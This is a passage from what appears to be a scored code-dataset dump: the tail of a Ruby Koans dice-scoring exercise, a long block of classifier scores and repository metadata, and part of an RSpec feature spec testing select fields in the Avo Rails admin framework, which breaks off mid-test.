100\n if num != 1 && num_frequency == 3\n score += num * 100\n end\n\n # If frequency of five is less than 3, add 50 per five\n if num == 5 && num_frequency < 3\n score += num_frequency * 50\n\n # If freuqncy of five is more than 3, add 500 then 50 for each additional 5\n elsif num == 5 && num_frequency > 3\n score += num * 100\n num_frequency -= 3\n score += num_frequency * 50\n end\n\n end\n\n score\n\nend\n\nclass AboutScoringProject < Neo::Koan\n def test_score_of_an_empty_list_is_zero\n assert_equal 0, score([])\n end\n\n def test_score_of_a_single_roll_of_5_is_50\n assert_equal 50, score([5])\n end\n\n def test_score_of_a_single_roll_of_1_is_100\n assert_equal 100, score([1])\n end\n\n def test_score_of_multiple_1s_and_5s_is_the_sum_of_individual_scores\n assert_equal 300, score([1,5,5,1])\n end\n\n def test_score_of_single_2s_3s_4s_and_6s_are_zero\n assert_equal 0, score([2,3,4,6])\n end\n\n def test_score_of_a_triple_1_is_1000\n assert_equal 1000, score([1,1,1])\n end\n\n def test_score_of_other_triples_is_100x\n assert_equal 200, score([2,2,2])\n assert_equal 300, score([3,3,3])\n assert_equal 400, score([4,4,4])\n assert_equal 500, score([5,5,5])\n assert_equal 600, score([6,6,6])\n end\n\n def test_score_of_mixed_is_sum\n assert_equal 250, score([2,5,2,2,3])\n assert_equal 550, score([5,5,5,5])\n assert_equal 1100, score([1,1,1,1])\n assert_equal 1200, score([1,1,1,1,1])\n assert_equal 1150, score([1,1,1,5,1])\n end\n\nend\n", "text_preview": "require File.expand_path(File.dirname(__FILE__) + '/neo') # Greed is a dice game where you roll up to five dice to accumulate # points. The following \"score\" function will be used to calculate the # score of a single roll of the dice. # # A", "input_sha256": "8cdf33aa726364c244886c0a6cf6ae17437fa1b3272c06172aabced23ecb9028", "text_sha256": "610d2e436830358d5b0f8b8e10ea80674c468168d675d1ee56894bbb52e89b80", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16097, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 3, "pretraining_utility": 1, "math_density": 4, "code_density": 3, "reasoning_density": 2, "education_level": 2, "creative_writing_quality": null}, "score_expectations": {"content_quality": 0.9003124079663661, "noise_severity": 0.03418078229964826, "missing_content_severity": 0.005142477930726232, "factual_density": 3.1034288781173474, "pretraining_utility": 0.626484253194102, "math_density": 3.1660004507743036, "code_density": 3.3574420022712896, "reasoning_density": 2.189908786390957, "education_level": 1.5575876469423426, "creative_writing_quality": -0.07328645946320742}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.08080098540962954, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.917337232194018, "secondary": 0.5626804354027076, "tertiary": 0.646994507134495, "structured_records": 0.14950324445372087, "procedural_steps": 0.05120917894085398, "worked_solution": 0.31317191622579865, "contextual_dialogue": 1.0422051750929257e-05, "content_quality": 0.5038527679972905, "noise_severity": 0.9715160147502931, "missing_content_severity": 0.9957146017243949, "factual_density": 0.5258743613075852, "pretraining_utility": 0.5150480472968768, "math_density": 0.30500037564525284, "code_density": 0.5581440319041733, "reasoning_density": 0.13035791070464042, "education_level": 0.46993485657145206, "creative_writing_quality": 0.996149966341897, "primary_topic": 0.9210095952567687, "secondary_topic": 0.5042536549384038}, "probability_margin": {"primary": 0.8483779202082141, "secondary": 0.28437690160147505, "tertiary": 0.4395814460394598, "education_level": 0.1605441321238048, "creative_writing_quality": 0.9948768934149398, "primary_topic": 0.855151300257744, "secondary_topic": 0.15572351380230498}, "raw_probabilities": {"primary": {"Academic Writing": 0.00013945466487893499, "Content Listing": 0.00012423254746123157, "Creative Writing": 0.0002255012308938694, "Customer Support Page": 9.279447654082468e-05, "Q&A Forum": 0.00010028199492106578, "Discussion Thread": 5.2926679468371746e-05, "Comment Section": 0.0001088151152811972, "Missing Content": 9.151322525361191e-05, "Knowledge Article": 0.0008868869619893078, "Legal Notices": 8.868755153867958e-05, "News Article": 4.1633987391040105e-05, "Organizational Announcement": 7.37125096464054e-05, "Nonfiction Writing": 9.487615823094804e-05, "Organizational About Page": 0.00010568999739928926, "Personal About Page": 8.190110854858325e-05, "Personal Blog": 4.845012130932905e-05, "Product Page": 4.8529775924455014e-05, "Spam / Ads": 7.510283741723584e-05, "Structured Data": 0.000657566937335067, "Technical Writing": 0.9207815141859339, "Transcript / Interview": 0.000107127888956244, "Tutorial / How-To Guide": 0.07240359397771982, "User Reviews": 5.195830415273306e-05, "Other / Unknown": 0.003517247761807706}, "secondary": {"Academic Writing": 0.0009106351124862031, "Content Listing": 0.0008105858832207612, "Creative Writing": 0.0019740866522364193, "Customer Support Page": 0.0006480470588261452, "Q&A Forum": 0.0005154943288399578, "Discussion Thread": 0.0003273203600867658, "Comment Section": 0.0006802770167970123, "Missing Content": 0.0006854836990136723, "Knowledge Article": 0.04064462333394776, "Legal Notices": 0.0004935503722091443, "News Article": 0.0003553100053527944, "Organizational Announcement": 0.0004415663408968852, "Nonfiction Writing": 0.000984291459408921, "Organizational About Page": 0.000649222991562702, "Personal About Page": 0.0005210376147748004, "Personal Blog": 0.0004299316936436479, "Product Page": 0.0003180332904924918, "Spam / Ads": 0.0004417699947620909, "Structured Data": 0.00254225685883599, "Technical Writing": 0.06718980933540818, "Transcript / Interview": 0.0007210139538258861, "Tutorial / How-To Guide": 0.29652518232611974, "User Reviews": 0.00028838638965721525, "NONE": 0.5809020839275948}, "tertiary": {"Academic Writing": 0.0008353178689149719, "Content Listing": 0.0006480921690522936, "Creative Writing": 0.004446267998678161, "Customer Support Page": 0.0006622999319283497, "Q&A Forum": 0.0004565158475095936, "Discussion Thread": 0.0002646021993278, "Comment Section": 0.0006438998288270604, "Missing Content": 0.0007212429571005016, "Knowledge Article": 0.0533248992964619, "Legal Notices": 0.0005080354793511486, "News Article": 0.00029961547725528616, "Organizational Announcement": 0.0003503634914199139, "Nonfiction Writing": 0.001517141989700222, "Organizational About Page": 0.0005895411408276448, "Personal About Page": 0.0004614326186883772, "Personal Blog": 0.00035049031771465234, "Product Page": 0.0003160290520361878, "Spam / Ads": 0.000385026974023117, "Structured Data": 0.004048861506653173, "Technical Writing": 0.04452862439398484, "Transcript / Interview": 0.0005630077995023584, "Tutorial / How-To Guide": 0.22212162329776455, "User Reviews": 0.0002539990260536084, "NONE": 0.6617030693372243}, "structured_records": {"false": 0.8504967555462791, "true": 0.14950324445372087}, "procedural_steps": {"false": 0.948790821059146, "true": 0.05120917894085398}, "worked_solution": {"false": 0.6868280837742013, "true": 0.31317191622579865}, "contextual_dialogue": {"false": 0.999989577948249, "true": 1.0422051750929257e-05}, "content_quality": {"-2": 0.012312193796644649, "-1": 0.048389484849914184, "0": 0.2138165841286803, "1": 0.4776371940399522, "2": 0.24784454318480872}, "noise_severity": {"0": 0.9693350667749957, "1": 0.028256794029638783, "2": 0.0016146918855907196, "3": 0.00047918474027054464, "4": 0.0003142625695040995}, "missing_content_severity": {"0": 0.9965852213790615, "1": 0.0021090696504392163, "2": 0.0009662997987432685, "3": 0.0002568280042243338, "4": 8.258116753186966e-05}, "factual_density": {"0": 0.004160958130335551, "1": 0.01929122630283232, "2": 0.18169561716010393, "3": 0.4586623761326057, "4": 0.3361898222741225}, "pretraining_utility": {"-2": 0.006884193729238393, "-1": 0.060972811236483106, "0": 0.3351308413641415, "1": 0.49279885545121205, "2": 0.10421329821892487}, "math_density": {"0": 0.008984401109185894, "1": 0.03199380519852932, "2": 0.1609800125382103, "3": 0.3801205041169444, "4": 0.4179212770371301}, "code_density": {"0": 0.0007518566804945943, "1": 0.001736528641996738, "2": 0.08066395239637397, "3": 0.473013080287994, "4": 0.44383458199314074}, "reasoning_density": {"0": 0.1655653589564807, "1": 0.09570014246877562, "2": 0.2923451773615111, "3": 0.2760389956537707, "4": 0.1703503255594618}, "education_level": {"none": 0.001999085198544544, "0": 0.029377084967483175, "1": 0.3977349150190719, "2": 0.5582790471428767, "3": 0.010258583461015686, "4": 0.002351284211007955}, "creative_writing_quality": {"not_applicable": 0.9967916386182475, "-2": 0.0001871325925879335, "-1": 0.0005495780858393523, "0": 0.0019147452033077515, "1": 0.0004250971753663124, "2": 0.0001318083246509003}, "primary_topic": {"Adult & Explicit Sexual Content": 9.177900153620214e-05, "Art & Design": 0.00014567785748678135, "Law & Crime": 9.777345756824535e-05, "Education & Careers": 0.00021649746424852996, "Entertainment & Media": 0.0005224348038466267, "Fashion & Beauty": 7.833432268870609e-05, "Business, Economics & Finance": 0.00013234565309247612, "Food & Dining": 7.25139016341316e-05, "Games & Gaming": 0.0688963874891491, "Electronics & Hardware": 6.997386659448999e-05, "Health, Healthcare & Wellness": 7.795283752014936e-05, "History & Geography": 0.0001346034276433031, "Home, Pets & Hobbies": 0.00018417057638060028, "Industry & Production": 8.058833013965584e-05, "Language, Literature & Philosophy": 0.00010563950185093782, "Politics & Government": 4.707950341185015e-05, "Religion & Spirituality": 8.584508304276768e-05, "Science, Mathematics & Engineering": 0.0038310846063528375, "Relationships & Community": 5.566953899276356e-05, "Software Usage & Applications": 0.00034538868127107164, "Programming & Software Engineering": 0.924047687746893, "Sports & Fitness": 0.00023115415285673315, "Vehicles & Transportation": 4.8461507796767514e-05, "Travel & Tourism": 8.952529764535615e-05, "Other / Uncovered Subject": 0.00021442889585380343, "Unknown / Insufficient Content": 9.700249450297919e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0011052619011570602, "Art & Design": 0.0008681014733473547, "Law & Crime": 0.0006393057145575747, "Education & Careers": 0.009379820258443897, "Entertainment & Media": 0.002162953745459717, "Fashion & Beauty": 0.0004262277838556954, "Business, Economics & Finance": 0.0006743349974089476, "Food & Dining": 0.0004271347970223603, "Games & Gaming": 0.3675973082538525, "Electronics & Hardware": 0.00040596517324112836, "Health, Healthcare & Wellness": 0.00046537855948990483, "History & Geography": 0.0006296526532544051, "Home, Pets & Hobbies": 0.0008845198673871594, "Industry & Production": 0.0003534770851694101, "Language, Literature & Philosophy": 0.0003996150500154353, "Politics & Government": 0.00025521880562034846, "Religion & Spirituality": 0.0005285291910193558, "Science, Mathematics & Engineering": 0.014429912965242089, "Relationships & Community": 0.0002666356097246041, "Software Usage & Applications": 0.000724015259821063, "Programming & Software Engineering": 0.07171064472955993, "Sports & Fitness": 0.0006088783765611217, "Vehicles & Transportation": 0.00021316602927787693, "Travel & Tourism": 0.0006326709894756323, "Other / Uncovered Subject": 0.0008904486738780798, "NONE": 0.5233208220561575}}, "probabilities": {"primary": {"Academic Writing": 0.000139454664878935, "Content Listing": 0.0001242325474612316, "Creative Writing": 0.00022550123089386942, "Customer Support Page": 9.27944765408247e-05, "Q&A Forum": 0.00010028199492106579, "Discussion Thread": 5.292667946837175e-05, "Comment Section": 0.00010881511528119721, "Missing Content": 9.151322525361192e-05, "Knowledge Article": 0.0008868869619893079, "Legal Notices": 8.86875515386796e-05, "News Article": 4.163398739104011e-05, "Organizational Announcement": 7.371250964640542e-05, "Nonfiction Writing": 9.487615823094806e-05, "Organizational About Page": 0.00010568999739928927, "Personal About Page": 8.190110854858326e-05, "Personal Blog": 4.8450121309329056e-05, "Product Page": 4.852977592445502e-05, "Spam / Ads": 7.510283741723586e-05, "Structured Data": 0.0006575669373350671, "Technical Writing": 0.920781514185934, "Transcript / Interview": 0.00010712788895624402, "Tutorial / How-To Guide": 0.07240359397771984, "User Reviews": 5.195830415273307e-05, "Other / Unknown": 0.0035172477618077066}, "secondary": {"Academic Writing": 0.0009106351124862031, "Content Listing": 0.0008105858832207612, "Creative Writing": 0.0019740866522364193, "Customer Support Page": 0.0006480470588261452, "Q&A Forum": 0.0005154943288399578, "Discussion Thread": 0.0003273203600867658, "Comment Section": 0.0006802770167970123, "Missing Content": 0.0006854836990136723, "Knowledge Article": 0.04064462333394776, "Legal Notices": 0.0004935503722091443, "News Article": 0.0003553100053527944, "Organizational Announcement": 0.0004415663408968852, "Nonfiction Writing": 0.000984291459408921, "Organizational About Page": 0.000649222991562702, "Personal About Page": 0.0005210376147748004, "Personal Blog": 0.0004299316936436479, "Product Page": 0.0003180332904924918, "Spam / Ads": 0.0004417699947620909, "Structured Data": 0.00254225685883599, "Technical Writing": 0.06718980933540818, "Transcript / Interview": 0.0007210139538258861, "Tutorial / How-To Guide": 0.29652518232611974, "User Reviews": 0.00028838638965721525, "NONE": 0.5809020839275948}, "tertiary": {"Academic Writing": 0.0008353178689149719, "Content Listing": 0.0006480921690522936, "Creative Writing": 0.004446267998678161, "Customer Support Page": 0.0006622999319283497, "Q&A Forum": 0.0004565158475095936, "Discussion Thread": 0.0002646021993278, "Comment Section": 0.0006438998288270604, "Missing Content": 0.0007212429571005016, "Knowledge Article": 0.0533248992964619, "Legal Notices": 0.0005080354793511486, "News Article": 0.00029961547725528616, "Organizational Announcement": 0.0003503634914199139, "Nonfiction Writing": 0.001517141989700222, "Organizational About Page": 0.0005895411408276448, "Personal About Page": 0.0004614326186883772, "Personal Blog": 0.00035049031771465234, "Product Page": 0.0003160290520361878, "Spam / Ads": 0.000385026974023117, "Structured Data": 0.004048861506653173, "Technical Writing": 0.04452862439398484, "Transcript / Interview": 0.0005630077995023584, "Tutorial / How-To Guide": 0.22212162329776455, "User Reviews": 0.0002539990260536084, "NONE": 0.6617030693372243}, "structured_records": {"false": 0.8504967555462791, "true": 0.14950324445372087}, "procedural_steps": {"false": 0.948790821059146, "true": 0.05120917894085398}, "worked_solution": {"false": 0.6868280837742013, "true": 0.31317191622579865}, "contextual_dialogue": {"false": 0.999989577948249, "true": 1.0422051750929257e-05}, "content_quality": {"-2": 0.012312193796644649, "-1": 0.048389484849914184, "0": 0.2138165841286803, "1": 0.4776371940399522, "2": 0.24784454318480872}, "noise_severity": {"0": 0.9693350667749958, "1": 0.028256794029638786, "2": 0.0016146918855907198, "3": 0.0004791847402705447, "4": 0.0003142625695040996}, "missing_content_severity": {"0": 0.9965852213790612, "1": 0.002109069650439216, "2": 0.0009662997987432682, "3": 0.00025682800422433373, "4": 8.258116753186964e-05}, "factual_density": {"0": 0.004160958130335551, "1": 0.01929122630283232, "2": 0.18169561716010393, "3": 0.4586623761326057, "4": 0.3361898222741225}, "pretraining_utility": {"-2": 0.006884193729238394, "-1": 0.06097281123648311, "0": 0.33513084136414156, "1": 0.4927988554512121, "2": 0.10421329821892489}, "math_density": {"0": 0.008984401109185894, "1": 0.03199380519852932, "2": 0.1609800125382103, "3": 0.3801205041169444, "4": 0.4179212770371301}, "code_density": {"0": 0.0007518566804945943, "1": 0.001736528641996738, "2": 0.08066395239637397, "3": 0.473013080287994, "4": 0.44383458199314074}, "reasoning_density": {"0": 0.1655653589564807, "1": 0.09570014246877562, "2": 0.2923451773615111, "3": 0.2760389956537707, "4": 0.1703503255594618}, "education_level": {"none": 0.0019990851985445444, "0": 0.029377084967483178, "1": 0.39773491501907193, "2": 0.5582790471428768, "3": 0.010258583461015687, "4": 0.0023512842110079554}, "creative_writing_quality": {"not_applicable": 0.9967916386182477, "-2": 0.00018713259258793357, "-1": 0.0005495780858393524, "0": 0.001914745203307752, "1": 0.0004250971753663125, "2": 0.00013180832465090032}, "primary_topic": {"Adult & Explicit Sexual Content": 9.177900153620216e-05, "Art & Design": 0.00014567785748678138, "Law & Crime": 9.777345756824537e-05, "Education & Careers": 0.00021649746424852998, "Entertainment & Media": 0.0005224348038466269, "Fashion & Beauty": 7.83343226887061e-05, "Business, Economics & Finance": 0.00013234565309247614, "Food & Dining": 7.251390163413162e-05, "Games & Gaming": 0.06889638748914911, "Electronics & Hardware": 6.997386659449e-05, "Health, Healthcare & Wellness": 7.795283752014937e-05, "History & Geography": 0.00013460342764330313, "Home, Pets & Hobbies": 0.0001841705763806003, "Industry & Production": 8.058833013965586e-05, "Language, Literature & Philosophy": 0.00010563950185093784, "Politics & Government": 4.707950341185016e-05, "Religion & Spirituality": 8.584508304276769e-05, "Science, Mathematics & Engineering": 0.003831084606352838, "Relationships & Community": 5.566953899276357e-05, "Software Usage & Applications": 0.0003453886812710717, "Programming & Software Engineering": 0.9240476877468932, "Sports & Fitness": 0.00023115415285673317, "Vehicles & Transportation": 4.846150779676752e-05, "Travel & Tourism": 8.952529764535616e-05, "Other / Uncovered Subject": 0.00021442889585380345, "Unknown / Insufficient Content": 9.70024945029792e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.00110526190115706, "Art & Design": 0.0008681014733473545, "Law & Crime": 0.0006393057145575746, "Education & Careers": 0.009379820258443895, "Entertainment & Media": 0.0021629537454597165, "Fashion & Beauty": 0.0004262277838556953, "Business, Economics & Finance": 0.0006743349974089475, "Food & Dining": 0.0004271347970223602, "Games & Gaming": 0.36759730825385245, "Electronics & Hardware": 0.00040596517324112825, "Health, Healthcare & Wellness": 0.0004653785594899047, "History & Geography": 0.000629652653254405, "Home, Pets & Hobbies": 0.0008845198673871592, "Industry & Production": 0.00035347708516941003, "Language, Literature & Philosophy": 0.0003996150500154352, "Politics & Government": 0.0002552188056203484, "Religion & Spirituality": 0.0005285291910193557, "Science, Mathematics & Engineering": 0.014429912965242086, "Relationships & Community": 0.00026663560972460407, "Software Usage & Applications": 0.0007240152598210629, "Programming & Software Engineering": 0.07171064472955992, "Sports & Fitness": 0.0006088783765611216, "Vehicles & Transportation": 0.00021316602927787687, "Travel & Tourism": 0.0006326709894756322, "Other / Uncovered Subject": 0.0008904486738780796, "NONE": 0.5233208220561574}}, "probability_diagnostics": {"primary": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 0.9999999999999998, "mass_delta": -2.220446049250313e-16, "missing_mass": 2.220446049250313e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}}, "usage": {"input_tokens": 9627, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 9627, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:35:16.941033+00:00", "scoring_key_slot": "primary", "dataset_uid": "d491949e-cfcd-432a-925d-a8ccd855a152", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "622773553e39263f1b2bcdcd1f7f35929e4cd283ecd6b70dfc72a3e9dfcbf265", "source_metadata": {"uuid": "d491949e-cfcd-432a-925d-a8ccd855a152", "repo_name": "rserur/Ruby-Koans", "relative_path": "about_scoring_project.rb", "category": "TEST", "algo_rel_score": 0.9885607361793518, "quality_score": 5.355594635009766, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 2, "repo_created_at": "2014-05-23T16:12:48.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 0, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "cf38abc84feebf89d03d9df2413f9576be280ea4", "size_bytes": 2963, "file_timestamp": 1400868597, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "f45b0af49657f1c9a72d2ee1df1ef755145d91d6"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 2, "repo_created_at": "2014-05-23T16:12:48.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 0, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "cf38abc84feebf89d03d9df2413f9576be280ea4", "size_bytes": 2963, "file_timestamp": 1400868597, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "f45b0af49657f1c9a72d2ee1df1ef755145d91d6", "url": "https://github.com/rserur/Ruby-Koans/blob/f45b0af49657f1c9a72d2ee1df1ef755145d91d6/about_scoring_project.rb"}, "gpt4o_tokens": 1010, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 0.9003124079663661, "noise_severity": 0.03418078229964826, "missing_content_severity": 0.0051424779307262325, "factual_density": 3.1034288781173474, "pretraining_utility": 0.626484253194102, "math_density": 3.1660004507743036, "code_density": 3.3574420022712896, "reasoning_density": 2.189908786390957, "education_level": 1.5575876469423426, "creative_writing_quality": -0.07328645946320742}, "score_applicability": {"education_level": 0.9980009148014556, "creative_writing_quality": 0.0032083613817522508}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/avo-hq/avo/blob/277460e9606546258d2fcc6d065e50e07195b813/spec/features/avo/select_field_spec.rb", "id": "ruby-0-846894bd6220b54d8f78647958b67180", "text": "require \"rails_helper\"\n\nRSpec.feature \"Select\", type: :feature do\n let(:project) { create :project }\n let(:placeholder) { \"Choose an option\" }\n\n before do\n Avo::Resources::Person.with_temporary_items do\n field :name, as: :text, link_to_record: true, sortable: true, stacked: true\n field :type, as: :select, name: \"Type\", options: {Spouse: \"Spouse\", Sibling: \"Sibling\"}, include_blank: true\n end\n end\n\n after :each do\n Avo::Resources::Person.restore_items_from_backup\n Avo::Resources::City.restore_items_from_backup\n Avo::Resources::Post.restore_items_from_backup\n end\n\n describe \"when type is nil\" do\n let(:person) { create :person, type: nil }\n\n context \"edit\" do\n it \"shows the placeholder\" do\n visit avo.edit_resources_person_path person\n\n expect(page).to have_select \"person_type\", selected: nil, options: [placeholder, \"Spouse\", \"Sibling\"]\n end\n end\n\n context \"new\" do\n it \"shows the placeholder\" do\n visit avo.new_resources_person_path\n\n expect(page).to have_select \"person_type\", selected: nil, options: [placeholder, \"Spouse\", \"Sibling\"]\n end\n end\n end\n\n describe \"when type is selected\" do\n let(:person) { create :person, type: \"Spouse\" }\n\n context \"edit\" do\n it \"shows the placeholder\" do\n visit avo.edit_resources_person_path person\n\n expect(page).to have_select \"person_type\", selected: \"Spouse\", options: [placeholder, \"Spouse\", \"Sibling\"]\n end\n end\n end\n\n describe \"when options are a hash\" do\n HASH_OPTIONS = {\n 'Zero': 0,\n 'Low': 50000,\n 'Medium': 100000,\n 'High': 250000,\n }\n\n def test_hash\n visit avo.new_resources_city_path\n expect(page).to have_select \"city_population\", selected: nil, options: [\"Zero\", \"Low\", \"Medium\", \"High\"]\n select \"Medium\", from: \"city_population\"\n save\n expect(find_field_element(:population)).to have_text(\"Medium\")\n expect(City.last.population).to eq 100000\n end\n\n def test_hash_display_value\n visit avo.new_resources_city_path\n expect(page).to have_select \"city_population\", selected: nil, options: [\"0\", \"50000\", \"100000\", \"250000\"]\n select \"250000\", from: \"city_population\"\n save\n expect(find_field_element(:population)).to have_text(\"250000\")\n expect(City.last.population).to eq 250000\n end\n\n context \"simple\" do\n it \"show key but save value\" do\n Avo::Resources::City.with_temporary_items do\n field :population, as: :select, options: HASH_OPTIONS\n end\n test_hash\n end\n\n it \"show value and save value (display_value true)\" do\n Avo::Resources::City.with_temporary_items do\n field :population, as: :select, options: HASH_OPTIONS, display_value: true\n end\n test_hash_display_value\n end\n end\n\n context \"inside block\" do\n it \"show key but save value\" do\n Avo::Resources::City.with_temporary_items do\n field :population, as: :select, options: -> do\n HASH_OPTIONS\n end\n end\n test_hash\n end\n\n it \"show value and save value (display_value true)\" do\n Avo::Resources::City.with_temporary_items do\n field :population, as: :select, display_value: true, options: -> do\n HASH_OPTIONS\n end\n end\n test_hash_display_value\n end\n end\n end\n\n describe \"when options are an array\" do\n ARRAY_OPTIONS = [\"\", \"București\", \"Coimbra\", \"Porto\"]\n\n def test_array\n visit avo.new_resources_city_path\n expect(page).to have_select \"city_name\", selected: nil, options: [\"\", \"București\", \"Coimbra\", \"Porto\"]\n select \"București\", from: \"city_name\"\n save\n expect(page).to have_text \"București\"\n expect(City.last.name).to eq \"București\"\n end\n\n context \"simple\" do\n it \"show and save the value\" do\n Avo::Resources::City.with_temporary_items do\n field :name, as: :select, options: ARRAY_OPTIONS\n end\n test_array\n end\n\n it \"normal behaviour with display_value\" do\n Avo::Resources::City.with_temporary_items do\n field :name, as: :select, options: ARRAY_OPTIONS, display_value: true\n end\n test_array\n end\n end\n\n context \"inside block\" do\n it \"show and save the value\" do\n Avo::Resources::City.with_temporary_items do\n field :name, as: :select, options: -> do\n ARRAY_OPTIONS\n end\n end\n test_array\n end\n\n it \"normal behaviour with display_value\" do\n Avo::Resources::City.with_temporary_items do\n field :name, as: :select, display_value: true, options: -> do\n ARRAY_OPTIONS\n end\n end\n test_array\n end\n end\n\n end\n\n describe \"when options are enum array\" do\n context \"simple\" do\n it \"show key but save value\" do\n Avo::Resources::Post.with_temporary_items do\n field :name, as: :text\n field :status, as: :select, enum: ::Post.statuses\n end\n\n visit avo.new_resources_post_path\n\n expect(page).to have_select \"post_status\", selected: \"draft\", options: [\"draft\", \"published\", \"archived\"]\n\n fill_in \"post_name\", with: \"Published post =)\"\n select \"published\", from: \"post_status\"\n save\n expect(find_field_element(:status)).to have_text(\"published\")\n expect(Post.last.status).to eq \"published\"\n end\n end\n\n context \"display_value true\" do\n it \"show value and save value\" do\n Avo::Resources::Post.with_temporary_items do\n field :name, as: :text\n field :status, as: :select, enum: ::Post.statuses, display_value: true\n end\n\n visit avo.new_resources_post_path\n\n expect(page).to have_select \"post_status\", selected: \"0\", options: [\"0\", \"1\", \"2\"]\n\n fill_in \"post_name\", with: \"Published post =)\"\n select \"2\", from: \"post_status\"\n save\n expect(find_field_element(:status)).to have_text(\"2\")\n expect(Post.last.status).to eq \"archived\"\n end\n end\n end\n\n describe \"when options are an enum hash\" do\n context \"simple\" do\n it \"without display value\" do\n Avo::Resources::City.with_temporary_items do\n field :status, as: :select, enum: City.statuses\n end\n visit avo.new_resources_city_path\n expect(page).to have_select \"city_status\", selected: nil, options: [\"Open\", \"Closed\", \"Quarantine\"]\n select \"Quarantine\", from: \"city_status\"\n save\n expect(find_field_element(:status)).to have_text(\"Quarantine\")\n expect(City.last.status).to eq \"Quarantine\"\n end\n\n it \"display_value true\" do\n Avo::Resources::City.with_temporary_items do\n field :status, as: :select, enum: City.statuses, display_value: true\n end\n visit avo.new_resources_city_path\n expect(page).to have_select \"city_status\", selected: nil, options: [\"open\", \"closed\", \"On Quarantine\"]\n select \"On Quarantine\", from: \"city_status\"\n save\n expect(find_field_element(:status)).to have_text(\"On Quarantine\")\n expect(City.last.status).to eq \"Quarantine\"\n end\n end\n end\n\n describe \"when options are multiple select\" do\n context \"new\" do\n it \"allow selection of multiple values\" do\n visit avo.new_resources_product_path\n\n 